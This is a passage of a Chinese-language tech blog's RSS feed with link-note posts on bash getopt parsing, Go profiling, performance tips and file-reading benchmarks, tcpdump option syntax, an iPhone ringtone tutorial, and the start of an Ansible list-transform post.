&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#f92672">[[&lt;/span> $? -ne &lt;span style="color:#ae81ff">0&lt;/span> &lt;span style="color:#f92672">]]&lt;/span>; &lt;span style="color:#66d9ef">then&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> exit 1;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">fi&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>eval set -- &lt;span style="color:#e6db74">&amp;#34;&lt;/span>$VALID_ARGS&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">while&lt;/span> &lt;span style="color:#f92672">[&lt;/span> : &lt;span style="color:#f92672">]&lt;/span>; &lt;span style="color:#66d9ef">do&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">case&lt;/span> &lt;span style="color:#e6db74">&amp;#34;&lt;/span>$1&lt;span style="color:#e6db74">&amp;#34;&lt;/span> in
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> -a | --alpha&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo &lt;span style="color:#e6db74">&amp;#34;Processing &amp;#39;alpha&amp;#39; option&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> shift
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ;;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> -b | --beta&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo &lt;span style="color:#e6db74">&amp;#34;Processing &amp;#39;beta&amp;#39; option&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> shift
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ;;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> -g | --gamma&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo &lt;span style="color:#e6db74">&amp;#34;Processing &amp;#39;gamma&amp;#39; option. Input argument is &amp;#39;&lt;/span>$2&lt;span style="color:#e6db74">&amp;#39;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> shift &lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ;;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> -d | --delta&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo &lt;span style="color:#e6db74">&amp;#34;Processing &amp;#39;delta&amp;#39; option. Input argument is &amp;#39;&lt;/span>$2&lt;span style="color:#e6db74">&amp;#39;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> shift &lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ;;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> --&lt;span style="color:#f92672">)&lt;/span> shift;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> break
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ;;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">esac&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">done&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>&lt;code>-o&lt;/code> 選項代表短選項&lt;/li>
&lt;li>&lt;code>--long&lt;/code> 選項代表長選項&lt;/li>
&lt;/ul></description></item><item><title>Go 程式碼重構：23 倍效能追擊</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20220607-go-code-refactoring-the-23x-performance-hunt/</link><pubDate>Tue, 07 Jun 2022 13:42:07 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20220607-go-code-refactoring-the-23x-performance-hunt/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://medium.com/@val_deleplace/go-code-refactoring-the-23x-performance-hunt-156746b522f7" target="_blank" rel="noopener">Go 程式碼重構：23 倍效能追擊&lt;/a>&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ go test -bench&lt;span style="color:#f92672">=&lt;/span>. -cpuprofile cpu.prof
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ go tool pprof -svg cpu.prof &amp;gt; cpu.svg
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ go test -bench&lt;span style="color:#f92672">=&lt;/span>. -trace trace.out
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ go tool trace trace.out
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Dockertest 极速搭建集成测试环境神器</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20220512-dockertest/</link><pubDate>Thu, 12 May 2022 16:43:31 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20220512-dockertest/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://cn-sec.com/archives/998286.html" target="_blank" rel="noopener">Dockertest 极速搭建集成测试环境神器&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/ory/dockertest" target="_blank" rel="noopener">dockertest&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Tcpdump 使用总结</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20220505-tcpdump/</link><pubDate>Thu, 05 May 2022 13:39:10 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20220505-tcpdump/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://markrepo.github.io/commands/2018/06/23/tcpdump/" target="_blank" rel="noopener">Tcpdump 使用总结&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="命令使用">命令使用&lt;/h2>
&lt;p>tcpdump 采用命令行方式，它的命令格式为：&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>tcpdump &lt;span style="color:#f92672">[&lt;/span> -AdDeflLnNOpqRStuUvxX &lt;span style="color:#f92672">]&lt;/span> &lt;span style="color:#f92672">[&lt;/span> -c count &lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">[&lt;/span> -C file_size &lt;span style="color:#f92672">]&lt;/span> &lt;span style="color:#f92672">[&lt;/span> -F file &lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">[&lt;/span> -i interface &lt;span style="color:#f92672">]&lt;/span> &lt;span style="color:#f92672">[&lt;/span> -m module &lt;span style="color:#f92672">]&lt;/span> &lt;span style="color:#f92672">[&lt;/span> -M secret &lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">[&lt;/span> -r file &lt;span style="color:#f92672">]&lt;/span> &lt;span style="color:#f92672">[&lt;/span> -s snaplen &lt;span style="color:#f92672">]&lt;/span> &lt;span style="color:#f92672">[&lt;/span> -T type &lt;span style="color:#f92672">]&lt;/span> &lt;span style="color:#f92672">[&lt;/span> -w file &lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">[&lt;/span> -W filecount &lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">[&lt;/span> -E spi@ipaddr algo:secret, ... &lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">[&lt;/span> -y datalinktype &lt;span style="color:#f92672">]&lt;/span> &lt;span style="color:#f92672">[&lt;/span> -Z user &lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">[&lt;/span> expression &lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="tcpdump-的简单选项介绍">tcpdump 的简单选项介绍&lt;/h3>
&lt;ul>
&lt;li>&lt;code>-E spi@ipaddr algo:secret , ...&lt;/code>，可通过&lt;code>spi@ipaddr algo:secret&lt;/code> 来解密 IPsec ESP 包。secret 为用于 ESP 的密钥，使用 ASCII 字符串方式表达。 如果以 &lt;code>0x&lt;/code> 开头，该密钥将以 16 进制方式读入。 除了以上的语法格式(指&lt;code>spi@ipaddr algo:secret&lt;/code>)， 还可以在后面添加一个语法输入文件名字供 tcpdump 使用(即把 spi@ipaddr algo:secret, … 中…换成一个语法文件名)。 在接收到第一个 ESP 包时会打开此文件， 所以最好此时把赋予 tcpdump 的一些特权取消(可理解为，这样防范之后，当该文件为恶意编写时，不至于造成过大损害)。&lt;/li>
&lt;li>&lt;code>-T type&lt;/code> 强制 tcpdump 按 type 指定的协议所描述的包结构来分析收到的数据包。 目前已知的 type 可取的协议为:
&lt;ul>
&lt;li>&lt;code>aodv&lt;/code> (Ad-hoc On-demand Distance Vector protocol， 按需距离向量路由协议，在 Ad hoc(点对点模式)网络中使用)，&lt;/li>
&lt;li>&lt;code>cnfp&lt;/code> (Cisco NetFlow protocol)&lt;/li>
&lt;li>&lt;code>rpc&lt;/code>(Remote Procedure Call)&lt;/li>
&lt;li>&lt;code>rtp&lt;/code> (Real-Time Applications protocol)&lt;/li>
&lt;li>&lt;code>rtcp&lt;/code> (Real-Time Applications con-trol protocol)&lt;/li>
&lt;li>&lt;code>snmp&lt;/code> (Simple Network Management Protocol)&lt;/li>
&lt;li>&lt;code>tftp&lt;/code> (Trivial File Transfer Protocol， 碎文件协议)&lt;/li>
&lt;li>&lt;code>vat&lt;/code> (Visual Audio Tool， 可用于在 internet 上进行电视电话会议的应用层协议)&lt;/li>
&lt;li>&lt;code>wb&lt;/code> (distributed White Board， 可用于网络会议的应用层协议)&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="实用命令实例">实用命令实例&lt;/h3>
&lt;p>&lt;strong>截获主机 210.27.48.1 和主机 210.27.48.2 或 210.27.48.3 的通信&lt;/strong>&lt;/p></description></item><item><title>Go语言高性能编程手册（万字长文）</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20220422-go-high-performance-programming-manual/</link><pubDate>Fri, 22 Apr 2022 18:01:43 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20220422-go-high-performance-programming-manual/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://mp.weixin.qq.com/s/iSxWFsnNLGgilzKIsSDBgg" target="_blank" rel="noopener">Go 语言高性能编程手册（万字长文）&lt;/a>&lt;/li>
&lt;/ul>
&lt;h4 id="常用数据结构">常用数据结构&lt;/h4>
&lt;p>&lt;strong>反射虽好，切莫贪杯&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>优先使用 &lt;code>strconv&lt;/code> 而不是 &lt;code>fmt&lt;/code>&lt;/li>
&lt;li>少量的重复不比反射差&lt;/li>
&lt;li>慎用 &lt;code>binary.Read&lt;/code> 和 &lt;code>binary.Write&lt;/code>
&lt;ul>
&lt;li>&lt;code>binary.Read&lt;/code> 和 &lt;code>binary.Write&lt;/code> 使用反射并且很慢。如果有需要用到这两个函数的地方，我们应该手动实现这两个函数的相关功能，而不是直接去使用它们。&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>避免重复的字符串到字节切片的转换&lt;/strong>&lt;/p>
&lt;p>&lt;strong>指定容器(slice/map)容量&lt;/strong>&lt;/p>
&lt;p>&lt;strong>字符串拼接方式&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>行内拼接字符串推荐使用运算符 &lt;code>+&lt;/code>&lt;/li>
&lt;li>非行内拼接字符串推荐使用 &lt;code>strings.Builder&lt;/code>&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>遍历 &lt;code>[]struct{}&lt;/code> 使用下标而不是 &lt;code>range&lt;/code>&lt;/strong>&lt;/p>
&lt;blockquote>
&lt;p>两种通过 index 遍历 &lt;code>[]struct&lt;/code> 性能没有差别，但是 &lt;code>range&lt;/code> 遍历 &lt;code>[]struct&lt;/code> 中元素时，性能非常差。&lt;/p>
&lt;p>&lt;code>range&lt;/code> 遍历 &lt;code>[]*struct&lt;/code> 中元素时，與下标性能没有差别。&lt;/p>&lt;/blockquote>
&lt;h4 id="内存管理">内存管理&lt;/h4>
&lt;p>&lt;strong>使用空结构体节省内存&lt;/strong>&lt;/p>
&lt;p>&lt;strong>struct 布局要考虑内存对齐&lt;/strong>&lt;/p>
&lt;blockquote>
&lt;p>CPU 访问内存时，并不是逐个字节访问，而是以字长（word size）为单位访问。比如 32 位的 CPU ，字长为 4 字节，那么 CPU 访问内存的单位也是 4 字节。
这么设计的目的，是减少 CPU 访问内存的次数，加大 CPU 访问内存的吞吐量。比如同样读取 8 个字节的数据，一次读取 4 个字节那么只需要读取 2 次。&lt;/p></description></item><item><title>iPhone 鈴聲製作教學，將 MP3 音樂換成電話鈴聲或鬧鐘鈴聲</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20220410-iphone-ringtone-mp3/</link><pubDate>Sun, 10 Apr 2022 20:01:37 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20220410-iphone-ringtone-mp3/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.tech-girlz.com/2020/08/iphone-ringtone-mp3.html/amp" target="_blank" rel="noopener">iPhone 鈴聲製作教學，將 MP3 音樂換成電話鈴聲或鬧鐘鈴聲&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://youtu.be/zA376ii82U0" target="_blank" rel="noopener">影片版的 iPhone 鈴聲製作步驟&lt;/a>&lt;/li>
&lt;/ul>
&lt;h5 id="步驟一準備想換成-iphone-鈴聲的-mp3-音樂">步驟一：準備想換成 iPhone 鈴聲的 MP3 音樂&lt;/h5>
&lt;p>首先第一步是準備好你想當成鈴聲的音樂，建議是 MP3 檔，然後儲存在「檔案 App」的資料夾內&lt;/p>
&lt;h5 id="步驟二透過-garageband-app-製作-iphone-鈴聲">步驟二：透過 Garageband App 製作 iPhone 鈴聲&lt;/h5>
&lt;p>接著，請開啟 iPhone 內建的「Garageband App」（如果你刪除了請先下載回來），點選「製作歌曲」，然後選擇「錄音機」。&lt;/p>
&lt;ol>
&lt;li>點選音軌: 現在進入了錄音機的頁面，點選左上角第三個圖示進到音軌，然後再點選右上角倒數第二個圓圈圖示&lt;/li>
&lt;li>將 MP3 音樂拖曳到音軌上: 這步驟很關鍵，將分頁切換到「檔案」，然後找到你剛剛下載好的 MP3 音樂，將它拖曳到左邊的音軌上。&lt;/li>
&lt;li>編輯鈴聲: 接著，你可以拖拉音樂的前後來編輯你想要的鈴聲片段，也可以按播放鍵來試聽目前的鈴聲是否符合你的預期。&lt;/li>
&lt;li>儲存歌曲: 確認沒問題之後，點選左上角的「三角形圖示」，然後按一下「我的歌曲」，你會看到該檔案已儲存成功，接著請長按它。&lt;/li>
&lt;li>製作鈴聲: 長按該音訊檔案後，選擇「分享」，然後點選「鈴聲」。&lt;/li>
&lt;li>輸出鈴聲: 而在這邊你可以編輯該鈴聲的名稱，編輯完後點選右上角的「輸出」，這樣就完成自訂 iPhone 鈴聲了！&lt;/li>
&lt;/ol>
&lt;h5 id="步驟三iphone-電話鈴聲設定">步驟三：iPhone 電話鈴聲設定&lt;/h5>
&lt;p>開啟 iPhone 上的「設定」app，點選「聲音與觸覺回饋」&amp;gt;「鈴聲」，在鈴聲這區塊內你就會看到剛剛製作好的鈴聲囉。&lt;/p>
&lt;h5 id="步驟四iphone-鬧鐘鈴聲設定">步驟四：iPhone 鬧鐘鈴聲設定&lt;/h5>
&lt;p>開啟「時鐘 App」點選左上角的「編輯」，然後選擇任一個你想更換鈴聲的的 iPhone 鬧鐘。
點選「提示聲」後，將「鈴聲」改為你剛剛製作好的 MP3 音樂鈴聲就可以了。&lt;/p></description></item><item><title>怎么选择 Go 文件读取方案</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20220329-go-read-file/</link><pubDate>Tue, 29 Mar 2022 16:15:34 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20220329-go-read-file/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://mp.weixin.qq.com/s/Z-19Yj8Je7Wb9bqvMR35Cg" target="_blank" rel="noopener">怎么选择 Go 文件读取方案&lt;/a>&lt;/li>
&lt;/ul>
&lt;blockquote>
&lt;p>Go 提供了可一次性读取文件内容的方法：&lt;code>os.ReadFile&lt;/code> 与 &lt;code>ioutil.ReadFile&lt;/code>。在 Go 1.16 开始，&lt;code>ioutil.ReadFile&lt;/code> 就等价于 &lt;code>os.ReadFile&lt;/code>。&lt;/p>
&lt;p>一次性加载文件的优缺点非常明显，它能减少 IO 次数，但它会将文件内容都加载至内存中，对于大文件，存在内存撑爆的风险。&lt;/p>&lt;/blockquote>
&lt;h4 id="逐行读取">逐行读取&lt;/h4>
&lt;p>Go 中 bufio.Reader 对象提供了一个 ReadLine() 方法，但其实我们更多地是使用 ReadBytes(&amp;rsquo;\n&amp;rsquo;) 或者 ReadString(&amp;rsquo;\n&amp;rsquo;) 代替。&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">ReadLines&lt;/span>(&lt;span style="color:#a6e22e">filename&lt;/span> &lt;span style="color:#66d9ef">string&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fi&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">os&lt;/span>.&lt;span style="color:#a6e22e">Open&lt;/span>(&lt;span style="color:#a6e22e">filename&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> panic(&lt;span style="color:#a6e22e">err&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">defer&lt;/span> &lt;span style="color:#a6e22e">fi&lt;/span>.&lt;span style="color:#a6e22e">Close&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">reader&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">bufio&lt;/span>.&lt;span style="color:#a6e22e">NewReader&lt;/span>(&lt;span style="color:#a6e22e">fi&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">_&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> = &lt;span style="color:#a6e22e">reader&lt;/span>.&lt;span style="color:#a6e22e">ReadString&lt;/span>(&lt;span style="color:#e6db74">&amp;#39;\n&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#a6e22e">io&lt;/span>.&lt;span style="color:#a6e22e">EOF&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">break&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> panic(&lt;span style="color:#a6e22e">err&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h4 id="块读取">块读取&lt;/h4>
&lt;p>块读取也称为分片读取，这也很好理解，我们可以将内容分成一块块的，每次读取指定大小的块内容。这里，我们将块大小设置为 4KB。&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">ReadChunk&lt;/span>(&lt;span style="color:#a6e22e">filename&lt;/span> &lt;span style="color:#66d9ef">string&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">f&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">os&lt;/span>.&lt;span style="color:#a6e22e">Open&lt;/span>(&lt;span style="color:#a6e22e">filename&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> panic(&lt;span style="color:#a6e22e">err&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">defer&lt;/span> &lt;span style="color:#a6e22e">f&lt;/span>.&lt;span style="color:#a6e22e">Close&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">buf&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> make([]&lt;span style="color:#66d9ef">byte&lt;/span>, &lt;span style="color:#ae81ff">4&lt;/span>&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#ae81ff">1024&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">r&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">bufio&lt;/span>.&lt;span style="color:#a6e22e">NewReader&lt;/span>(&lt;span style="color:#a6e22e">f&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">_&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> = &lt;span style="color:#a6e22e">r&lt;/span>.&lt;span style="color:#a6e22e">Read&lt;/span>(&lt;span style="color:#a6e22e">buf&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#a6e22e">io&lt;/span>.&lt;span style="color:#a6e22e">EOF&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">break&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> panic(&lt;span style="color:#a6e22e">err&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h4 id="result">result&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>BenchmarkOsReadFile4KB-8 &lt;span style="color:#ae81ff">92877&lt;/span> &lt;span style="color:#ae81ff">12491&lt;/span> ns/op
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>BenchmarkOsReadFile4MB-8 &lt;span style="color:#ae81ff">1620&lt;/span> &lt;span style="color:#ae81ff">744460&lt;/span> ns/op
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>BenchmarkOsReadFile4GB-8 &lt;span style="color:#ae81ff">1&lt;/span> &lt;span style="color:#ae81ff">7518057733&lt;/span> ns/op
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>signal: killed
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>BenchmarkReadLines4KB-8 &lt;span style="color:#ae81ff">90846&lt;/span> &lt;span style="color:#ae81ff">13184&lt;/span> ns/op
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>BenchmarkReadLines4MB-8 &lt;span style="color:#ae81ff">493&lt;/span> &lt;span style="color:#ae81ff">2338170&lt;/span> ns/op
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>BenchmarkReadLines4GB-8 &lt;span style="color:#ae81ff">1&lt;/span> &lt;span style="color:#ae81ff">3072629047&lt;/span> ns/op
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>BenchmarkReadLines16GB-8 &lt;span style="color:#ae81ff">1&lt;/span> &lt;span style="color:#ae81ff">12472749187&lt;/span> ns/op
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>BenchmarkReadChunk4KB-8 &lt;span style="color:#ae81ff">99848&lt;/span> &lt;span style="color:#ae81ff">12262&lt;/span> ns/op
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>BenchmarkReadChunk4MB-8 &lt;span style="color:#ae81ff">913&lt;/span> &lt;span style="color:#ae81ff">1233216&lt;/span> ns/op
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>BenchmarkReadChunk4GB-8 &lt;span style="color:#ae81ff">1&lt;/span> &lt;span style="color:#ae81ff">2095515009&lt;/span> ns/op
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>BenchmarkReadChunk16GB-8 &lt;span style="color:#ae81ff">1&lt;/span> &lt;span style="color:#ae81ff">8547054349&lt;/span> ns/op
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>在本文的测试条件下（每行数据 1KB），对于小对象 4KB 的读取，三种方式差距并不大；在 MB 级别的读取中，直接加载最快，但块读取也慢不了多少；上了 GB 后，块读取方式会最快。&lt;/p></description></item><item><title>將 List 轉置為 dict 的 list</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20220309-how-to-transform-list-to-object-list/</link><pubDate>Wed, 09 Mar 2022 11:26:23 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20220309-how-to-transform-list-to-object-list/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://ansible.cloudns.pro/post/how-to-transform-list-to-object-list/" target="_blank" rel="noopener">將 List 轉置為 dict 的 list&lt;/a>&lt;/li>
&lt;/ul>
&lt;h5 id="list">list&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">my_users&lt;/span>:
